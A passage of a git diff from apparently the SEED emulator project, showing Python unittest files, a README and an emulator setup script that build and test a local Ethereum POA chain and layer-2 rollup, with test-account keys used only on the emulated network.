"http://10.152.0.71:9545" + cls.test_key_pair = ( + "0x2DDAaA366dc75119A256C41b9bd483D13A64389d", + "0x4ba1ada11a1d234c3a03c08395c82e65320b5ae4aecca4a70143f4c157230528", + ) + cls.test_acc = signing.private_key_to_account(cls.test_key_pair[1]) + + cls.wait_until_all_containers_up(20) + + @classmethod + def wait_until_connected(cls, url, timeout) -> bool: + start = time.time() + current = time.time() + provider = Web3(Web3.HTTPProvider(url)) + + while current - start < timeout: + if provider.isConnected(): + break + time.sleep(20) + current = time.time() + + return provider.isConnected() + + def test_l1_node_connection(self): + self.assertTrue(self.wait_until_connected(self.l1_url, 300)) + + def test_sc_deployment(self): + TIMEOUT = 600 + start = time.time() + current = time.time() + + l1Provider = Web3(Web3.HTTPProvider(self.l1_url)) + self.assertTrue(l1Provider.isConnected()) + + while current - start < TIMEOUT: + code = l1Provider.eth.get_code("0x6f3f591D1e0e4a3ad649219a76763702933C6390") + if code.hex() != "0x": + break + time.sleep(20) + current = time.time() + + self.assertNotEqual(code.hex(), "0x") + + def test_seq_node_connection(self): + self.assertTrue(self.wait_until_connected(self.seq_url, 600)) + + def test_seq_node_status(self): + provider = Web3(Web3.HTTPProvider(self.seq_url)) + self.assertTrue(provider.isConnected()) + + bn1 = provider.eth.get_block_number() + time.sleep(20) + bn2 = provider.eth.get_block_number() + self.assertGreater(bn2, bn1) + + def test_ns_node_synchronization(self): + GAP = 100 + seq_provider = Web3(Web3.HTTPProvider(self.seq_url)) + self.assertTrue(seq_provider.isConnected()) + + for ns_url in self.ns_urls: + provider = Web3(Web3.HTTPProvider(ns_url)) + self.assertTrue(provider.isConnected()) + + seq_bn = seq_provider.eth.get_block_number() + ns_bn = provider.eth.get_block_number() + self.assertLess(seq_bn - ns_bn, GAP) + + def test_chain_id(self): + provider = Web3(Web3.HTTPProvider(self.seq_url)) + self.assertTrue(provider.isConnected()) + + self.assertEqual(provider.eth.chain_id, self.l2_chain_id) + + def test_tx_execution(self): + provider = Web3(Web3.HTTPProvider(self.seq_url)) + self.assertTrue(provider.isConnected()) + + tx = self.test_acc.sign_transaction( + { + "chainId": self.l2_chain_id, + "to": self.test_key_pair[0], + "gas": 10**6, + "gasPrice": Web3.toWei(10, "gwei"), + "nonce": provider.eth.get_transaction_count(self.test_acc.address), + } + ) + txhash = provider.eth.send_raw_transaction(tx.rawTransaction) + time.sleep(30) + self.assertEqual(provider.eth.get_transaction_receipt(txhash)["status"], 1) + + def test_deposit(self): + TIMEOUT = 180 + DEPOSIT_AMOUNT = Web3.toWei(1000, "ether") + l1Provider = Web3(Web3.HTTPProvider(self.l1_url)) + self.assertTrue(l1Provider.isConnected()) + l2Provider = Web3(Web3.HTTPProvider(self.seq_url)) + self.assertTrue(l2Provider.isConnected()) + + l2BalanceBefore = l2Provider.eth.get_balance(self.test_acc.address) + + tx = self.test_acc.sign_transaction( + { + "chainId": self.l1_chain_id, + "to": "0x6f3f591D1e0e4a3ad649219a76763702933C6390", + "gas": 10**7, + "gasPrice": Web3.toWei(10, "gwei"), + "value": DEPOSIT_AMOUNT, + "nonce": l1Provider.eth.get_transaction_count(self.test_acc.address), + } + ) + txhash = l1Provider.eth.send_raw_transaction(tx.rawTransaction) + + start = time.time() + current = time.time() + while current - start < TIMEOUT: + if ( + l2Provider.eth.get_balance(self.test_acc.address) - l2BalanceBefore + == DEPOSIT_AMOUNT + ): + break + time.sleep(16) + current = time.time() + + self.assertEqual(l1Provider.eth.get_transaction_receipt(txhash)["status"], 1) + + l2BalanceAfter = l2Provider.eth.get_balance(self.test_acc.address) + self.assertEqual(l2BalanceAfter - l2BalanceBefore, DEPOSIT_AMOUNT) + + def test_batch_submission(self): + INBOX_ADDR = "0xff00000000000000000000000000000000042069".lower() + BATCHER_ADDR = "0x9C1EA6d1f5E3E8aE21fdaF808b2e13698737643C".lower() + TIMEOUT = 300 + TARGET_BATCH_COUNT = 3 + + batchCount = 0 + start = time.time() + current = time.time() + + l1Provider = Web3(Web3.HTTPProvider(self.l1_url)) + l1Provider.middleware_onion.inject(geth_poa_middleware, layer=0) + self.assertTrue(l1Provider.isConnected()) + + while current - start < TIMEOUT: + block = l1Provider.eth.get_block("latest", True) + if len(block["transactions"]) > 0: + for tx in block["transactions"]: + if ( + tx["from"].lower() == BATCHER_ADDR + and tx["to"].lower() == INBOX_ADDR + ): + batchCount += 1 + break + if batchCount == TARGET_BATCH_COUNT: + break + time.sleep(16) + current = time.time() + + self.assertEqual(batchCount, TARGET_BATCH_COUNT) + + def test_state_submission(self): + OUTPUT_ORACLE_ADDR = "0x5Ab6Bc8FF05928FFd4c4D741d796A317Ab91E2B6" + ABI = [ + { + "type": "function", + "name": "latestBlockNumber", + "inputs": [], + "outputs": [{"name": "", "type": "uint256", "internalType": "uint256"}], + "stateMutability": "view", + }, + ] + TIMEOUT = 3600 + + start = time.time() + current = time.time() + + l1Provider = Web3(Web3.HTTPProvider(self.l1_url)) + self.assertTrue(l1Provider.isConnected()) + contract = l1Provider.eth.contract(abi=ABI, address=OUTPUT_ORACLE_ADDR) + startBlock = contract.functions.latestBlockNumber().call() + + while current - start < TIMEOUT: + currBlock = contract.functions.latestBlockNumber().call() + if currBlock > startBlock: + break + time.sleep(16) + + self.assertGreater(currBlock, startBlock) + + @classmethod + def get_test_suite(cls): + test_suite = ut.TestSuite() + + test_suite.addTest(cls("test_l1_node_connection")) + test_suite.addTest(cls("test_sc_deployment")) + test_suite.addTest(cls("test_seq_node_connection")) + test_suite.addTest(cls("test_seq_node_status")) + test_suite.addTest(cls("test_ns_node_synchronization")) + test_suite.addTest(cls("test_chain_id")) + test_suite.addTest(cls("test_deposit")) + test_suite.addTest(cls("test_tx_execution")) + test_suite.addTest(cls("test_batch_submission")) + test_suite.addTest(cls("test_state_submission")) + + return test_suite + + +if __name__ == "__main__": + test_suite = EthereumLayer2TestCase.get_test_suite() + res = ut.TextTestRunner(verbosity=2).run(test_suite) + + EthereumLayer2TestCase.printLog("----------Test #%d--------=") + num, errs, fails = res.testsRun, len(res.errors), len(res.failures) + EthereumLayer2TestCase.printLog( + "score: %d of %d (%d errors, %d failures)" + % (num - (errs + fails), num, errs, fails) + ) diff --git a/tests/ethereumLayer2/README.md b/tests/ethereumLayer2/README.md index 56b0fa194..374375aad 100644 --- a/tests/ethereumLayer2/README.md +++ b/tests/ethereumLayer2/README.md @@ -1,52 +1,52 @@ -# Unit Test for Ethereum Layer2 Blockchain - -## Overview - -The `EthereumLayer2TestCase.py` performs a unit test for Ethereum layer2 blockchain using [unittest](https://docs.python.org/3/library/unittest.html) library. - -In this script, it consists of 10 test cases: - -1. test_l1_node_connection -2. test_sc_deployment -3. test_seq_node_connection -4. test_seq_node_status -5. test_ns_node_synchronization -6. test_chain_id -7. test_deposit -8. test_tx_execution -9. test_batch_submission -10. test_state_submission - -## How to run - -This unit testing have a loader to load all the Ethereum layer2 service unit testing cases. - -```sh -# Run the Test Script -./EthereumLayer2TestCase.py -``` - -Once the test is done, `test_log` folder including the test result is created. -A test result is not only printed out to the terminal also saved as a file named `log.txt`. The logs can be used when investigating the failure cases. - -```sh -$ tree test_log -test_log -├── build_log -├── compile_log -├── containers_log -└── log.txt -``` - -## Test Case Explained - -1. `test_l1_node_connection`: Test http connection with geth in layer1 (ethereum) node. -2. `test_sc_deployment`: Test if layer2 smart contract deployment is completed. -3. `test_seq_node_connection`: Test http connection with op-geth in layer2 sequencer node. -4. `test_seq_node_status`: Test if layer2 sequencer is building blocks. -5. `test_ns_node_synchronization`: Test if the blockchain state of non-sequencer nodes are synced. -6. `test_chain_id`: Test if layer2 chain id is set correctly. -7. `test_deposit`: Test depositing ETH from layer1 to layer2. -8. `test_tx_execution`: Test if a layer2 tx is executed. -9. `test_batch_submission`: Test if layer2 txs are batched and submitted to layer1. -10. `test_state_submission`: Test if layer2 states are submitted to layer1. +# Unit Test for Ethereum Layer2 Blockchain + +## Overview + +The `EthereumLayer2TestCase.py` performs a unit test for Ethereum layer2 blockchain using [unittest](https://docs.python.org/3/library/unittest.html) library. + +In this script, it consists of 10 test cases: + +1. test_l1_node_connection +2. test_sc_deployment +3. test_seq_node_connection +4. test_seq_node_status +5. test_ns_node_synchronization +6. test_chain_id +7. test_deposit +8. test_tx_execution +9. test_batch_submission +10. test_state_submission + +## How to run + +This unit testing have a loader to load all the Ethereum layer2 service unit testing cases. + +```sh +# Run the Test Script +./EthereumLayer2TestCase.py +``` + +Once the test is done, `test_log` folder including the test result is created. +A test result is not only printed out to the terminal also saved as a file named `log.txt`. The logs can be used when investigating the failure cases. + +```sh +$ tree test_log +test_log +├── build_log +├── compile_log +├── containers_log +└── log.txt +``` + +## Test Case Explained + +1. `test_l1_node_connection`: Test http connection with geth in layer1 (ethereum) node. +2. `test_sc_deployment`: Test if layer2 smart contract deployment is completed. +3. `test_seq_node_connection`: Test http connection with op-geth in layer2 sequencer node. +4. `test_seq_node_status`: Test if layer2 sequencer is building blocks. +5. `test_ns_node_synchronization`: Test if the blockchain state of non-sequencer nodes are synced. +6. `test_chain_id`: Test if layer2 chain id is set correctly. +7. `test_deposit`: Test depositing ETH from layer1 to layer2. +8. `test_tx_execution`: Test if a layer2 tx is executed. +9. `test_batch_submission`: Test if layer2 txs are batched and submitted to layer1. +10. `test_state_submission`: Test if layer2 states are submitted to layer1. diff --git a/tests/ethereumLayer2/emulator-code/test-emulator.py b/tests/ethereumLayer2/emulator-code/test-emulator.py index c742d7ca3..200a7c6f0 100644 --- a/tests/ethereumLayer2/emulator-code/test-emulator.py +++ b/tests/ethereumLayer2/emulator-code/test-emulator.py @@ -1,151 +1,151 @@ -#!/usr/bin/env python3 -# encoding: utf-8 - -from seedemu import * -import sys - -# Setting Admin accounts for layer2 -ADMIN_ACC = ( - "0xdFC7d61047DAc7735d42Fd517e39e89C57083b45", - "0xd1e9509fa96d231fe323bda01cd954d4a74796a859ebe9dd638d5f0824d1ebd4", -) -BATCHER_ACC = ( - "0x9C1EA6d1f5E3E8aE21fdaF808b2e13698737643C", - "0x742dd19d7c2ed107027d8844e72ebc34b83091e1f58a7e95009e829fe06a7b12", -) -PROPOSER_ACC = ( - "0x30ca907e4028346E93c081f30345d3319cb20972", - "0x00683c828f09af18e0febb495ebee48fb2c581e2a6fa83e6ddaee3a359358af9", -) -SEQUENCER_ACC = ( - "0x0e259e03bABD47f8bab8Ec93a2C5fB39DB443a3d", - "0x9a031a3aee8b73427b86d195b387a10dd471f5707709923a16882141b37a1c17", -) -# Test account -TEST_ACC = ( - "0x2DDAaA366dc75119A256C41b9bd483D13A64389d", - "0x4ba1ada11a1d234c3a03c08395c82e65320b5ae4aecca4a70143f4c157230528", -) - -emu = Makers.makeEmulatorBaseWith10StubASAndHosts(1) - -if len(sys.argv) == 1: - platform = "amd" -else: - platform = sys.argv[1] - -platform_mapping = {"amd": Platform.AMD64, "arm": Platform.ARM64} -docker = Docker(etherViewEnabled=True, platform=platform_mapping[platform]) - -# Create the Ethereum layer -eth = EthereumService(override=True) - -# Create the 1 Blockchain layers, which is a sub-layer of Ethereum layer -blockchain = eth.createBlockchain(chainName="POA", consensus=ConsensusMechanism.POA) - -# Customize blockchain genesis file -initBal = 10**8 -# Set the gas limit per block to 30,000,000 for layer2 smart contract deployment -blockchain.setGasLimitPerBlock(30_000_000) -# Pre-deploy the smart contract factory for layer2 smart contract deployment -blockchain.addLocalAccount(EthereumLayer2SCFactory.ADDRESS.value, 0) -blockchain.addCode(EthereumLayer2SCFactory.ADDRESS.value, EthereumLayer2SCFactory.BYTECODE.value) -# Funding accounts -blockchain.addLocalAccount(ADMIN_ACC[0], initBal) -blockchain.addLocalAccount(BATCHER_ACC[0], initBal) -blockchain.addLocalAccount(PROPOSER_ACC[0], initBal) -blockchain.addLocalAccount(TEST_ACC[0], initBal) - - -# Create blockchain nodes (POA Ethereum) -e5 = blockchain.createNode("poa-eth5") -e6 = blockchain.createNode("poa-eth6") -e7 = blockchain.createNode("poa-eth7") -e8 = blockchain.createNode("poa-eth8") - -# Set bootnodes on e5. The other nodes can use these bootnodes to find peers. -# Start mining on e5,e6 -e5.setBootNode(True).unlockAccounts().startMiner() -e6.unlockAccounts().startMiner() - -# Enable ws and http connections -# Set geth ws port to 8541 (Default : 8546) -e5.enableGethWs().setGethWsPort(8541) -e5.enableGethHttp() -e6.enableGethHttp() -e7.enableGethHttp() - -# Customizing the display names (for visualization purpose) -emu.getVirtualNode("poa-eth5").setDisplayName("Ethereum-POA-5") -emu.getVirtualNode("poa-eth6").setDisplayName("Ethereum-POA-6") -emu.getVirtualNode("poa-eth7").setDisplayName("Ethereum-POA-7").addPortForwarding( - 12545, e7.getGethHttpPort() -) -emu.getVirtualNode("poa-eth8").setDisplayName("Ethereum-POA-8") - -### Start setting up Layer2 ### - -# Create Layer2 service -l2 = EthereumLayer2Service() - -# Create a Layer2 blockchain, name is required -l2Bkc = l2.createL2Blockchain("test") - -# Set the layer1 node to be connected for all the nodes in this layer2 blockchain -# All the layer2 nodes are required to connect to a layer1 node -l2Bkc.setL1VNode("poa-eth5", e5.getGethHttpPort()) - -# Configure the admin accounts for layer2 blockchain -# Theses accounts must be funded in the layer1 blockchain -l2Bkc.setAdminAccount(EthereumLayer2Account.GS_ADMIN, ADMIN_ACC) -l2Bkc.setAdminAccount(EthereumLayer2Account.GS_BATCHER, BATCHER_ACC) -l2Bkc.setAdminAccount(EthereumLayer2Account.GS_PROPOSER, PROPOSER_ACC) -l2Bkc.setAdminAccount(EthereumLayer2Account.GS_SEQUENCER, SEQUENCER_ACC) -l2Bkc.setAdminAccount(EthereumLayer2Account.GS_TEST, TEST_ACC) - -# Create layer2 nodes -# Set l2-1 to be a sequencer node, only one sequencer node is allowed in a layer2 blockchain -l2_1 = l2Bkc.createNode("l2-1", EthereumLayer2Node.SEQUENCER) - -# Each node can have a individual layer1 node to connect to, -# this setting will override the blockchain setting -l2_2 = l2Bkc.createNode("l2-2").setL1VNode("poa-eth6", e6.getGethHttpPort()) - -# Default type of the node is the non-sequencer node -# Set the http port for l2-3 (default: 8545) -l2_3 = l2Bkc.createNode("l2-3").setHttpPort(9545) -# Set the ws port for l2-4 (default: 8546) -l2_4 = l2Bkc.createNode("l2-4").setWSPort(9547) - -# Set the deployer node, which is used to deploy the smart contract -# Only one deployer node is allowed in a layer2 blockchain -deployer = l2Bkc.createNode("l2-deployer", EthereumLayer2Node.DEPLOYER) - -# Set an external port for user interaction -emu.getVirtualNode("l2-3").addPortForwarding(8545, l2_3.getHttpPort()) - - -# Binding virtual nodes to physical nodes -emu.addBinding(Binding("poa-eth5", filter=Filter(asn=160, nodeName="host_0"))) -emu.addBinding(Binding("poa-eth6", filter=Filter(asn=161, nodeName="host_0"))) -emu.addBinding(Binding("poa-eth7", filter=Filter(asn=162, nodeName="host_0"))) -emu.addBinding(Binding("poa-eth8", filter=Filter(asn=163, nodeName="host_0"))) - -# Add the ethereum layer -emu.addLayer(eth) - -emu.addBinding(Binding("l2-1", filter=Filter(asn=150, nodeName="host_0"))) -emu.addBinding(Binding("l2-2", filter=Filter(asn=151, nodeName="host_0"))) -emu.addBinding(Binding("l2-3", filter=Filter(asn=152, nodeName="host_0"))) -emu.addBinding(Binding("l2-4", filter=Filter(asn=153, nodeName="host_0"))) -emu.addBinding(Binding("l2-deployer", filter=Filter(asn=154, nodeName="host_0"))) - -emu.addLayer(l2) -# Save the component to a file -emu.dump("component-blockchain.bin") - -emu.render() - -# If output directory exists and override is set to false, we call exit(1) -# updateOutputdirectory will not be called -emu.compile(docker, "./output", override=True) +#!/usr/bin/env python3 +# encoding: utf-8 + +from seedemu import * +import sys + +# Setting Admin accounts for layer2 +ADMIN_ACC = ( + "0xdFC7d61047DAc7735d42Fd517e39e89C57083b45", + "0xd1e9509fa96d231fe323bda01cd954d4a74796a859ebe9dd638d5f0824d1ebd4", +) +BATCHER_ACC = ( + "0x9C1EA6d1f5E3E8aE21fdaF808b2e13698737643C", + "0x742dd19d7c2ed107027d8844e72ebc34b83091e1f58a7e95009e829fe06a7b12", +) +PROPOSER_ACC = ( + "0x30ca907e4028346E93c081f30345d3319cb20972", + "0x00683c828f09af18e0febb495ebee48fb2c581e2a6fa83e6ddaee3a359358af9", +) +SEQUENCER_ACC = ( + "0x0e259e03bABD47f8bab8Ec93a2C5fB39DB443a3d", + "0x9a031a3aee8b73427b86d195b387a10dd471f5707709923a16882141b37a1c17", +) +# Test account +TEST_ACC = ( + "0x2DDAaA366dc75119A256C41b9bd483D13A64389d", + "0x4ba1ada11a1d234c3a03c08395c82e65320b5ae4aecca4a70143f4c157230528", +) + +emu = Makers.makeEmulatorBaseWith10StubASAndHosts(1) + +if len(sys.argv) == 1: + platform = "amd" +else: + platform = sys.argv[1] + +platform_mapping = {"amd": Platform.AMD64, "arm": Platform.ARM64} +docker = Docker(etherViewEnabled=True, platform=platform_mapping[platform]) + +# Create the Ethereum layer +eth = EthereumService(override=True) + +# Create the 1 Blockchain layers, which is a sub-layer of Ethereum layer +blockchain = eth.createBlockchain(chainName="POA", consensus=ConsensusMechanism.POA) + +# Customize blockchain genesis file +initBal = 10**8 +# Set the gas limit per block to 30,000,000 for layer2 smart contract deployment +blockchain.setGasLimitPerBlock(30_000_000) +# Pre-deploy the smart contract factory for layer2 smart contract deployment +blockchain.addLocalAccount(EthereumLayer2SCFactory.ADDRESS.value, 0) +blockchain.addCode(EthereumLayer2SCFactory.ADDRESS.value, EthereumLayer2SCFactory.BYTECODE.value) +# Funding accounts +blockchain.addLocalAccount(ADMIN_ACC[0], initBal) +blockchain.addLocalAccount(BATCHER_ACC[0], initBal) +blockchain.addLocalAccount(PROPOSER_ACC[0], initBal) +blockchain.addLocalAccount(TEST_ACC[0], initBal) + + +# Create blockchain nodes (POA Ethereum) +e5 = blockchain.createNode("poa-eth5") +e6 = blockchain.createNode("poa-eth6") +e7 = blockchain.createNode("poa-eth7") +e8 = blockchain.createNode("poa-eth8") + +# Set bootnodes on e5. The other nodes can use these bootnodes to find peers. +# Start mining on e5,e6 +e5.setBootNode(True).unlockAccounts().startMiner() +e6.unlockAccounts().startMiner() + +# Enable ws and http connections +# Set geth ws port to 8541 (Default : 8546) +e5.enableGethWs().setGethWsPort(8541) +e5.enableGethHttp() +e6.enableGethHttp() +e7.enableGethHttp() + +# Customizing the display names (for visualization purpose) +emu.getVirtualNode("poa-eth5").setDisplayName("Ethereum-POA-5") +emu.getVirtualNode("poa-eth6").setDisplayName("Ethereum-POA-6") +emu.getVirtualNode("poa-eth7").setDisplayName("Ethereum-POA-7").addPortForwarding( + 12545, e7.getGethHttpPort() +) +emu.getVirtualNode("poa-eth8").setDisplayName("Ethereum-POA-8") + +### Start setting up Layer2 ### + +# Create Layer2 service +l2 = EthereumLayer2Service() + +# Create a Layer2 blockchain, name is required +l2Bkc = l2.createL2Blockchain("test") + +# Set the layer1 node to be connected for all the nodes in this layer2 blockchain +# All the layer2 nodes are required to connect to a layer1 node +l2Bkc.setL1VNode("poa-eth5", e5.getGethHttpPort()) + +# Configure the admin accounts for layer2 blockchain +# Theses accounts must be funded in the layer1 blockchain +l2Bkc.setAdminAccount(EthereumLayer2Account.GS_ADMIN, ADMIN_ACC) +l2Bkc.setAdminAccount(EthereumLayer2Account.GS_BATCHER, BATCHER_ACC) +l2Bkc.setAdminAccount(EthereumLayer2Account.GS_PROPOSER, PROPOSER_ACC) +l2Bkc.setAdminAccount(EthereumLayer2Account.GS_SEQUENCER, SEQUENCER_ACC) +l2Bkc.setAdminAccount(EthereumLayer2Account.GS_TEST, TEST_ACC) + +# Create layer2 nodes +# Set l2-1 to be a sequencer node, only one sequencer node is allowed in a layer2 blockchain +l2_1 = l2Bkc.createNode("l2-1", EthereumLayer2Node.SEQUENCER) + +# Each node can have a individual layer1 node to connect to, +# this setting will override the blockchain setting +l2_2 = l2Bkc.createNode("l2-2").setL1VNode("poa-eth6", e6.getGethHttpPort()) + +# Default type of the node is the non-sequencer node +# Set the http port for l2-3 (default: 8545) +l2_3 = l2Bkc.createNode("l2-3").setHttpPort(9545) +# Set the ws port for l2-4 (default: 8546) +l2_4 = l2Bkc.createNode("l2-4").setWSPort(9547) + +# Set the deployer node, which is used to deploy the smart contract +# Only one deployer node is allowed in a layer2 blockchain +deployer = l2Bkc.createNode("l2-deployer", EthereumLayer2Node.DEPLOYER) + +# Set an external port for user interaction +emu.getVirtualNode("l2-3").addPortForwarding(8545, l2_3.getHttpPort()) + + +# Binding virtual nodes to physical nodes +emu.addBinding(Binding("poa-eth5", filter=Filter(asn=160, nodeName="host_0"))) +emu.addBinding(Binding("poa-eth6", filter=Filter(asn=161, nodeName="host_0"))) +emu.addBinding(Binding("poa-eth7", filter=Filter(asn=162, nodeName="host_0"))) +emu.addBinding(Binding("poa-eth8", filter=Filter(asn=163, nodeName="host_0"))) + +# Add the ethereum layer +emu.addLayer(eth) + +emu.addBinding(Binding("l2-1", filter=Filter(asn=150, nodeName="host_0"))) +emu.addBinding(Binding("l2-2", filter=Filter(asn=151, nodeName="host_0"))) +emu.addBinding(Binding("l2-3", filter=Filter(asn=152, nodeName="host_0"))) +emu.addBinding(Binding("l2-4", filter=Filter(asn=153, nodeName="host_0"))) +emu.addBinding(Binding("l2-deployer", filter=Filter(asn=154, nodeName="host_0"))) + +emu.addLayer(l2) +# Save the component to a file +emu.dump("component-blockchain.bin") + +emu.render() + +# If output directory exists and override is set to false, we call exit(1) +# updateOutputdirectory will not be called +emu.compile(docker, "./output", override=True) diff --git a/tests/experiment_test/genesis/POA/GenesisPOATestCase.py b/tests/experiment_test/genesis/POA/GenesisPOATestCase.py index 99b05c3ac..f95ae930a 100644 --- a/tests/experiment_test/genesis/POA/GenesisPOATestCase.py +++ b/tests/experiment_test/genesis/POA/GenesisPOATestCase.py @@ -1,155 +1,155 @@ -#!/usr/bin/env python3 -# encoding: utf-8 - -import unittest as ut -from web3 import Web3, HTTPProvider -from web3.middleware import geth_poa_middleware -from seedemu import * -import time -import json -from tests import SeedEmuTestCase -import requests - - -class GenesisPOATestCase(SeedEmuTestCase): - @classmethod - def setUpClass(cls) -> None: - super().setUpClass() - cls.rpc_url = cls.get_eth_init_info() - cls.rpc_port = 8545 - cls.contract_address = "0xA08Ae0519125194cB516d72402a00A76d0126Af8" - cls.web3 = Web3(HTTPProvider(f"http://{cls.rpc_url}:{cls.rpc_port}")) - cls.web3.middleware_onion.inject(geth_poa_middleware, layer=0) - cls.account_1 = '0xA08Ae0519125194cB516d72402a00A76d0126Af8' - cls.account_2 = '0x2e2e3a61daC1A2056d9304F79C168cD16aAa88e9' - cls.account_2_private_key = '20aec3a7207fcda31bdef03001d9caf89179954879e595d9a190d6ac8204e498' - return - - @classmethod - def get_eth_init_info(cls): - with open("./rpc_info.json") as f: - data = json.load(f) - return data["rpc_url"] - - # Test if the blockchain is up and running - def test_poa_chain_connection(self): - self.printLog("--------Starting POA Chain Connection Test--------") - i = 1 - start_time = time.time() - while True: - self.printLog(f"Trial #{i}: Attempting to connect to POA chain.") - if time.time() - start_time > 600: - self.printLog("Time Exhausted: 600 seconds.") - break - try: - if self.web3.isConnected(): - self.printLog("Connection Successful.") - break - except Exception as e: - self.printLog(f"Connection Failed. Exception: {e}") - time.sleep(20) - i += 1 - self.assertTrue(self.web3.isConnected(), "Failed to connect to POA chain.") - - # Test using web3 if the contract is deployed on the blockchain - def test_deployed_contract(self): - self.printLog("Starting Deployed Contract Test") - test_account = self.web3.eth.account.create() - test_account_address = test_account.address - test_account_private_key = test_account.privateKey.hex() - self.printLog(f"Test Account Address: {test_account_address}") - - contract_address = self.web3.toChecksumAddress(self.contract_address) - # Check if the contract is deployed on the blockchain - start_time = time.time() - while True: - code = self.web3.eth.getCode(contract_address) - self.printLog(f"Contract Code at Address: {code.hex()}") - if code != "0x": - self.printLog("Contract deployed successfully.") - break - if time.time() - start_time > 600: - self.printLog("Time Exhausted: 600 seconds.") - self.assertTrue( - False, "Contract not deployed on the blockchain within time limit." - ) - time.sleep(5) - self.assertTrue(code != "0x", "Contract not deployed on the blockchain.") - - # Load the ABI from the file - abi_path = "./emulator-code/Contracts/Contract.abi" - with open(abi_path, "r") as abi_file: - contract_abi = json.load(abi_file) - - contract = self.web3.eth.contract(address=contract_address, abi=contract_abi) - self.printLog("Checking Total Supply of the Contract") - expected_total_supply = 200000000000000000000000 - totalSupply = contract.functions.totalSupply().call() - self.printLog(f"Total Supply: {totalSupply}") - self.assertTrue(totalSupply == expected_total_supply, "Total Supply Mismatch") - - def test_transfer_tokens(self): - self.printLog("Starting Token Transfer Test") - # Load the ABI from the file - abi_path = "./emulator-code/Contracts/Contract.abi" - with open(abi_path, "r") as abi_file: - contract_abi = json.load(abi_file) - - contract = self.web3.eth.contract(address=self.contract_address, abi=contract_abi) - self.printLog("Checking the initial balance of the accounts...") - account_1_init_balance = contract.functions.balanceOf(self.account_1).call() - self.printLog(f'Balance of account {self.account_1}: {account_1_init_balance}') - - account_2_init_balance = contract.functions.balanceOf(self.account_2).call() - self.printLog(f'Balance of account {self.account_2}: {account_2_init_balance}') - - self.assertTrue(account_1_init_balance == 1000000, "Initial balance of account 1 is incorrect") - self.assertTrue(account_2_init_balance == 50000, "Initial balance of account 2 is incorrect") - - # Transfer tokens from account 2 to account 1 - self.printLog("Transferring 100 tokens from account 2 to account 1...") - - transaction = contract.functions.transfer(self.account_1, 100).buildTransaction({ - 'from': self.account_2, - 'nonce': self.web3.eth.getTransactionCount(self.account_2), - 'gas': 3000000, - 'gasPrice':self.web3.toWei('50', 'gwei'), - 'chainId': 1337 - }) - - signed_txn = self.web3.eth.account.signTransaction(transaction, self.account_2_private_key) - tx_hash = self.web3.eth.sendRawTransaction(signed_txn.rawTransaction) - receipt = self.web3.eth.waitForTransactionReceipt(tx_hash) - - self.assertTrue(receipt.status == 1, "Transaction Failed") - - account_1_final_balance = contract.functions.balanceOf(self.account_1).call() - account_2_final_balance = contract.functions.balanceOf(self.account_2).call() - - self.printLog("Balance after transaction:") - self.printLog(f'Balance of account {self.account_1}: {account_1_final_balance}') - self.printLog(f'Balance of account {self.account_2}: {account_2_final_balance}') - self.assertTrue(account_1_final_balance == 1000100, "Final balance of account 1 is incorrect") - self.assertTrue(account_2_final_balance == 49900, "Final balance of account 2 is incorrect") - - - @classmethod - def get_test_suite(cls): - test_suite = ut.TestSuite() - test_suite.addTest(cls("test_poa_chain_connection")) - test_suite.addTest(cls("test_deployed_contract")) - test_suite.addTest(cls("test_transfer_tokens")) - return test_suite - - -if __name__ == "__main__": - test_suite = GenesisPOATestCase.get_test_suite() - res = ut.TextTestRunner(verbosity=2).run(test_suite) - - GenesisPOATestCase.printLog("----------Test Summary----------") - num, errs, fails = res.testsRun, len(res.errors), len(res.failures) - GenesisPOATestCase.printLog( - "Score: {}/{} ({} errors, {} failures)".format( - num - (errs + fails), num, errs, fails - ) - ) +#!/usr/bin/env python3 +# encoding: utf-8 + +import unittest as ut +from web3 import Web3, HTTPProvider +from web3.middleware import geth_poa_middleware +from seedemu import * +import time +import json +from tests import SeedEmuTestCase +import requests + + +class GenesisPOATestCase(SeedEmuTestCase): + @classmethod + def setUpClass(cls) -> None: + super().setUpClass() + cls.rpc_url = cls.get_eth_init_info() + cls.rpc_port = 8545 + cls.contract_address = "0xA08Ae0519125194cB516d72402a00A76d0126Af8" + cls.web3 = Web3(HTTPProvider(f"http://{cls.rpc_url}:{cls.rpc_port}")) + cls.web3.middleware_onion.inject(geth_poa_middleware, layer=0) + cls.account_1 = '0xA08Ae0519125194cB516d72402a00A76d0126Af8' + cls.account_2 = '0x2e2e3a61daC1A2056d9304F79C168cD16aAa88e9' + cls.account_2_private_key = '20aec3a7207fcda31bdef03001d9caf89179954879e595d9a190d6ac8204e498' + return + + @classmethod + def get_eth_init_info(cls): + with open("./rpc_info.json") as f: + data = json.load(f) + return data["rpc_url"] + + # Test if the blockchain is up and running + def test_poa_chain_connection(self): + self.printLog("--------Starting POA Chain Connection Test--------") + i = 1 + start_time = time.time() + while True: + self.printLog(f"Trial #{i}: Attempting to connect to POA chain.") + if time.time() - start_time > 600: + self.printLog("Time Exhausted: 600 seconds.") + break + try: + if self.web3.isConnected(): + self.printLog("Connection Successful.") + break + except Exception as e: + self.printLog(f"Connection Failed. Exception: {e}") + time.sleep(20) + i += 1 + self.assertTrue(self.web3.isConnected(), "Failed to connect to POA chain.") + + # Test using web3 if the contract is deployed on the blockchain + def test_deployed_contract(self): + self.printLog("Starting Deployed Contract Test") + test_account = self.web3.eth.account.create() + test_account_address = test_account.address + test_account_private_key = test_account.privateKey.hex() + self.printLog(f"Test Account Address: {test_account_address}") + + contract_address = self.web3.toChecksumAddress(self.contract_address) + # Check if the contract is deployed on the blockchain + start_time = time.time() + while True: + code = self.web3.eth.getCode(contract_address) + self.printLog(f"Contract Code at Address: {code.hex()}") + if code != "0x": + self.printLog("Contract deployed successfully.") + break + if time.time() - start_time > 600: + self.printLog("Time Exhausted: 600 seconds.") + self.assertTrue( + False, "Contract not deployed on the blockchain within time limit." + ) + time.sleep(5) + self.assertTrue(code != "0x", "Contract not deployed on the blockchain.") + + # Load the ABI from the file + abi_path = "./emulator-code/Contracts/Contract.abi" + with open(abi_path, "r") as abi_file: + contract_abi = json.load(abi_file) + + contract = self.web3.eth.contract(address=contract_address, abi=contract_abi) + self.printLog("Checking Total Supply of the Contract") + expected_total_supply = 200000000000000000000000 + totalSupply = contract.functions.totalSupply().call() + self.printLog(f"Total Supply: {totalSupply}") + self.assertTrue(totalSupply == expected_total_supply, "Total Supply Mismatch") + + def test_transfer_tokens(self): + self.printLog("Starting Token Transfer Test") + # Load the ABI from the file + abi_path = "./emulator-code/Contracts/Contract.abi" + with open(abi_path, 